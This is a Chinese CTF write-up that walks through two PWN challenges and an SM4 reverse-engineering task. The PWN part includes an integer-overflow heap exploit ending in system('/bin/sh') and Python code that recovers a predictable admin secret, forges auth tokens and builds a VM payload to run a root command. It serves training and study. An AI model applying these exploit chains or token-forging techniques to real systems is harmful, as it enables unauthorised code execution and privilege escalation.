2026系统安全攻防赛REPWN题解
字数 2593
更新时间 2026-04-02 13:41:29
2026系统安全攻防赛PWN与RE题目深入解析与利用教学
1. PWN题目解析与利用
1.1 PWN1: odd_chat
1.1.1 题目概述
这是一个聊天类的菜单题,实现了基本的聊天功能,包含以下选项:
-
- Chat(聊天)
-
- Change name(修改用户名)
-
- View chat history(查看聊天记录)
-
- Clear chat(清空聊天记录)
-
- Quit(退出)
1.1.2 漏洞分析
关键漏洞代码位置
g_chat_history_head = malloc(0x20);
requested_len = (int)abs32(read_menu_choice()) % 0x18;
input_len = read_line_raw(g_chat_history_head->encrypted_text, requested_len);
漏洞原理:
- 使用
abs32()函数获取用户输入的绝对值 - 输入
-2147483648(0x80000000)时,abs32()函数存在整数溢出漏洞 - 在32位有符号整数中,
-2147483648的绝对值0x80000000无法用有符号整数表示 - 导致
requested_len变为一个非常大的数值 - 造成堆缓冲区溢出,可覆盖后续堆块结构
加密算法分析
题目使用了魔改的TEA加密算法:
加密函数:
left += (right + sum) ^ ((right << 4) + 0x114514) ^ ((right >> 5) + 0x114514);
sum += 0x9E3779B9;
right += (left + sum) ^ ((left << 4) + 0x114514) ^ ((left >> 5) + 0x114514);
解密函数:
def undo_block(block: bytes) -> bytes:
left = u32(block[:4])
right = u32(block[4:])
total = (TEA_DELTA * 17) & 0xFFFFFFFF
for _ in range(17):
right = (right - (((left << 4) + TEA_KEY) ^ (left + total) ^ ((left >> 5) + TEA_KEY))) & 0xFFFFFFFF
total = (total - TEA_DELTA) & 0xFFFFFFFF
left = (left - (((right << 4) + TEA_KEY) ^ (right + total) ^ ((right >> 5) + TEA_KEY))) & 0xFFFFFFFF
return p32(left) + p32(right)
1.1.3 保护机制检查
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
关键点:没有开启PIE保护,GOT表可写。
1.1.4 利用链构建
第一步:信息泄露
- 利用溢出漏洞泄露libc地址
- 通过堆布局获取关键函数地址
第二步:tcache poisoning攻击
- 利用溢出修改
fd指针 - 指向BSS段上伪造的堆块
- 通过
free函数将伪造堆块放入tcache
第三步:任意地址写
- 利用
read_user_name函数实现任意chunk分配 - 在BSS段上构造fake chunk
- 覆盖GOT表或关键函数指针
第四步:getshell
- 劫持GOT表中的函数指针
- 通常劫持
free@got为system - 传入"/bin/sh"参数触发
system("/bin/sh")
1.1.5 完整利用脚本要点
# 1. 触发整数溢出漏洞
add(-2147483648, b"A"*0x20 + p64(fake_chunk_addr))
# 2. 通过溢出修改fd指针
# 3. 触发tcache poisoning
# 4. 分配伪造的chunk到BSS段
# 5. 修改关键函数指针
# 6. getshell
1.2 PWN2: NeuralChat
1.2.1 系统架构
前端:Flask Web服务 (neuralchat用户,低权限)
后端:C语言引擎 (root用户,高权限)
通信:Unix Domain Socket (/opt/neuralchat/run/engine.sock)
1.2.2 漏洞点分析
前端漏洞
-
目录穿越漏洞:
filepath = os.path.join(DOWNLOAD_DIR, filename) if not filepath.startswith(DOWNLOAD_DIR): # 不安全 -
任意命令执行风险:
/api/raw接口允许用户发送任意后端命令 -
无认证机制:所有接口均可未授权访问
后端协议分析
后端通过Unix Socket接收命令,协议格式:
- 4字节:数据帧大小
- 1字节:命令ID
- N字节:载荷数据
命令ID映射:
- 0x01: 创建会话
- 0x02: 聊天请求
- 0x03: 列出会话
- 0x04: 导出会话
- 0x06: 上传知识文件
- 0x07: 列出知识文件
- 0x08: 获取模型信息
- 0x09: 获取状态信息
- 0xFF: 管理员命令(关键利用点)
1.2.3 管理员认证机制
认证流程
bool verify_admin_request_token(
uint32_t issued_at, // 4字节时间戳
uint8_t subcommand, // 1字节子命令
const void *body, // 载荷数据
uint32_t body_len, // 载荷长度
const uint8_t auth_tag[32]) // 32字节认证标签
{
// 1. 时间戳检查(60秒内有效)
if (time_skew > 60) return 0;
// 2. SHA256哈希计算
SHA256_Init(ctx);
SHA256_Update(ctx, &issued_at, 4);
SHA256_Update(ctx, &subcommand, 1);
if (body_len) SHA256_Update(ctx, body, body_len);
SHA256_Update(ctx, g_admin_secret, 16); // 关键:16字节密钥
// 3. 比较认证标签
return memcmp(digest, auth_tag, 32) == 0;
}
密钥派生算法
void derive_admin_secret(uint32_t pid, uint32_t start_time, uint8_t *out_secret)
{
uint32_t seed = (73244475 * pid) ^ (295559667 * start_time);
for (int round = 0; round <= 15; ++round) {
state = (((seed << 13) ^ seed) >> 7) ^ (seed << 13) ^ seed;
xorshift = (state << 17) ^ state;
out_secret[round] = SBOX[(uint8_t)xorshift]; // AES S-BOX映射
seed = -1640531527 * (round + 1) + xorshift;
}
}
1.2.4 VM虚拟机漏洞
VM指令集
- 0x00: 未知操作码
- 0x01: 寄存器间移动
- 0x02: 立即数加载
- 0x03: 寄存器加法
- 0x04: 寄存器减法
- 0x05: 压栈
- 0x06: 弹栈
- 0x07: 存储到内存(带符号偏移)
- 0x08: 从内存加载(带符号偏移)
- 0xFF: 停止执行
关键漏洞
// OP 0x07: 存储指令
*(uint32_t*)(g_pwn.vm_scratch + (int8_t)off) = reg[src];
// OP 0x08: 加载指令
reg[dst] = *(uint32_t*)(g_pwn.vm_scratch + (int8_t)off);
漏洞点:偏移量signed_off_store为有符号8位整数,允许负偏移,可写入g_pwn结构体前部。
1.2.5 完整利用链
第一步:信息收集
- 访问
/api/status获取pid和uptime - 计算
start_time = now - uptime
第二步:密钥恢复
def get_secret(pid, start_time):
out = bytearray()
seed = ((0x45D9F3B * pid) & 0xFFFFFFFF) ^ ((0x119DE1F3 * start_time) & 0xFFFFFFFF)
for round in range(16):
seed ^= ((seed << 13) & 0xFFFFFFFF)
seed ^= (seed >> 7)
seed ^= ((seed << 17) & 0xFFFFFFFF)
out.append(SBOX[seed & 0xFF])
seed = (seed + ((0x9E3779B9 * (round + 1)) & 0xFFFFFFFF)) & 0xFFFFFFFF
return bytes(out)
第三步:构造合法管理员令牌
def token(subcommand, issued_at, extra, secret):
msg = struct.pack("<I", issued_at) + bytes([subcommand]) + extra + secret
return hashlib.sha256(msg).digest()
def build_admin_body(subcommand, issued_at, extra, secret):
auth_tag = token(subcommand, issued_at, extra, secret)
body = struct.pack("<I", issued_at) + bytes([subcommand]) + auth_tag + extra
return body
第四步:VM Payload构造
def build_vnm(command_bytes):
prog = bytearray()
padded = command_bytes + (b'\x00' * ((4 - (len(command_bytes) % 4)) % 4))
for i in range(0, len(padded), 4):
chunk = padded[i:i + 4]
# 加载立即数到寄存器0
prog += b'\x02\x00' + chunk
# 存储寄存器0到vm_scratch + offset
prog += bytes([0x07, (0x80 + i) & 0xFF, 0x00])
prog += b'\xFF' # 停止指令
return bytes(prog)
第五步:RCE执行
- 构造命令:
cp /home/ctf/flag /opt/neuralchat/downloads/f - 通过VM写入
g_pwn.diag_cmd - 触发
system(g_pwn.diag_cmd) - 通过下载接口获取flag
2. RE题目解析:ezSM4
2.1 SM4算法基础
2.1.1 算法特性
- 分组长度:128位(16字节)
- 密钥长度:128位(16字节)
- 轮数:32轮
- 国产商用密码算法,中国国家密码管理局发布
2.1.2 加密流程
轮函数F
F(X0, X1, X2, X3, rk) = X0 ⊕ T(X1 ⊕ X2 ⊕ X3 ⊕ rk)
合成置换T
T(.) = L(τ(.))
τ: 非线性字节替换(4个S盒并行)
L: 线性变换
轮密钥生成
- 初始密钥MK = (MK0, MK1, MK2, MK3)
- 计算(K0, K1, K2, K3) = (MK0⊕FK0, MK1⊕FK1, MK2⊕FK2, MK3⊕FK3)
- 迭代生成32个轮密钥:
rk_i = K_{i+4} = K_i ⊕ T'(K_{i+1} ⊕ K_{i+2} ⊕ K_{i+3} ⊕ CK_i)
2.2 题目逆向分析
2.2.1 程序结构
int main() {
char input_buf[17] = {};
BData input_data{};
BData key_data{};
SM4 sm4_ctx{};
BData ciphertext_data{};
const char fixed_key[17] = "12345678abcdefgh";
const unsigned char expected_ciphertext[16] = {
0x4A, 0x5E, 0x46, 0x35,
0x96, 0x08, 0xE9, 0x30,
0xDA, 0x28, 0xCA, 0xA0,
0x22, 0xA6, 0x59, 0x4D
};
}
2.2.2 关键函数识别
- bytes_to_dwords_le: 字节转字(小端序)
- SM4_init_round_keys: SM4密钥扩展
- SM4_encrypt_block: SM4加密核心
- dwords_to_bytes_le: 字转字节(小端序)
2.2.3 小端序处理
本题关键点:使用小端序而非标准SM4的大端序
# 标准SM4(大端序)
def bytes_to_words_be(data):
return [int.from_bytes(data[i:i+4], 'big') for i in range(0, 16, 4)]
# 本题实现(小端序)
def bytes_to_words_le(data):
return [int.from_bytes(data[i:i+4], 'little') for i in range(0, 16, 4)]
2.3 解密脚本实现
2.3.1 SM4常量定义
SBOX = [
0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
# ... 完整SBOX数组
]
FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
CK = [
0x00070e15,0x1c232a31,0x383f464d,0x545b6269,
0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
# ... 完整CK数组
]
2.3.2 解密核心函数
def rol(x, n):
return ((x << n) & 0xffffffff) | (x >> (32 - n))
def tau(a):
a0 = (a >> 24) & 0xFF
a1 = (a >> 16) & 0xFF
a2 = (a >> 8) & 0xFF
a3 = a & 0xFF
b0 = SBOX[a0]
b1 = SBOX[a1]
b2 = SBOX[a2]
b3 = SBOX[a3]
return (b0 << 24) | (b1 << 16) | (b2 << 8) | b3
def l(ak):
return ak ^ rol(ak, 2) ^ rol(ak, 10) ^ rol(ak, 18) ^ rol(ak, 24)
def t(ak):
return l(tau(ak))
2.3.3 完整解密流程
def sm4_decrypt(ciphertext, key):
# 1. 小端序转换
x = [int.from_bytes(ciphertext[i:i+4], 'little') for i in range(0, 16, 4)]
mk = [int.from_bytes(key[i:i+4], 'little') for i in range(0, 16, 4)]
# 2. 密钥扩展
k = [0] * 36
for i in range(4):
k[i] = mk[i] ^ FK[i]
for i in range(32):
k[i+4] = k[i] ^ t_prime(k[i+1] ^ k[i+2] ^ k[i+3] ^ CK[i])
rk = k[4:36]
# 3. 32轮解密(逆序使用轮密钥)
for i in range(32):
x[i+4] = x[i] ^ t(x[i+1] ^ x[i+2] ^ x[i+3] ^ rk[31-i])
# 4. 小端序输出
plain = b''
for i in range(35, 31, -1):
plain += x[i].to_bytes(4, 'little')
return plain
2.4 最终结果
通过逆向分析和算法实现,得到:
- 固定密钥:
12345678abcdefgh - 目标密文:
4A5E46359608E930DA28CAA022A6594D - 解密明文:
SENSOREDS4Little - 最终flag:
flag{SENSOREDS4Little}
3. 总结与关键要点
3.1 PWN题目要点
- 整数溢出利用:
abs32(-2147483648)产生异常结果 - TEA加密解密:理解魔改TEA算法并实现解密
- 堆利用技巧:tcache poisoning、BSS段fake chunk构造
- 权限分离绕过:低权限用户通过协议漏洞提权到root
- VM逃逸:有符号偏移导致的任意内存写入
3.2 RE题目要点
- SM4算法理解:掌握国产密码算法原理
- 字节序问题:识别并正确处理小端序实现
- 常量识别:通过SBOX、FK、CK识别SM4算法
- 完整加解密实现:从零实现SM4加解密流程
3.3 通用技巧
- 混合题型应对:现代CTF题目常结合多种技能点
- 自动化脚本编写:快速验证和利用漏洞
- 密码学基础:对称加密、哈希算法、随机数生成
- 协议分析:自定义协议的逆向和利用
通过深入分析这些题目,可以系统学习现代系统安全攻防的多种技术,包括二进制漏洞利用、Web安全、密码学逆向和协议安全等关键技能。
相似文章
相似文章